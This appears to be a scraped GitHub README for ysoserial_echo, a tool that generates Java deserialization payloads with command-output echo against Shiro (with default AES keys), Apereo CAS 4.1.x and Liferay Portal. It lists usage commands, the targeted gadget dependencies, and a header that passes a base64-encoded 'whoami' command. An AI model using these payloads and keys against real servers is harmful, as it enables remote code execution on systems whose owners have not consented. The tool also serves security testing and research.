j1anFen / ysoserial_echo

Generates Java Deserialization echo payload in ysoserial(反序列化漏洞回显)

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

ysoserial_echo

0x01 Introduce

JAVA反序列化漏洞回显部分框架和场景下的环境

  1. Request/Response回显
  2. 支持win和linux payload
  3. base64编码

0x02 Support

  1. ApereoCAS 4.1.X 默认密钥
  2. Shiro spring 环境下回显
  3. Liferay protal 7.0 以上

0x02 Buiding

mvn clean package -DskipTests

0x03 Usage

Author: JF

Usage: java -jar yso-echo-all.jar shiro linux [key default kPH+bIxk5D2deZiIxcaaaA==]
Usage: java -jar yso-echo-all.jar shiro linux 0AvVhmFLUs0KTA3Kprsdag==
Usage: java -jar yso-echo-all.jar liferay win
Usage: java -jar yso-echo-all.jar apereo linux

[Add Request header] c=d2hvYW1p (whoami)

  Available payload types:
     Payload Authors Dependencies
     ------- ------- ------------
     apereo          commons-collections4:4.0
     liferay         commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     shiro           commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

0x04 Screenshot

shiro spring env shiro_spring_env.png

0x05 Reference

仅供学习研究使用,请勿用于非法用途

About

Generates Java Deserialization echo payload in ysoserial(反序列化漏洞回显)


Languages

Language:Java 100.0%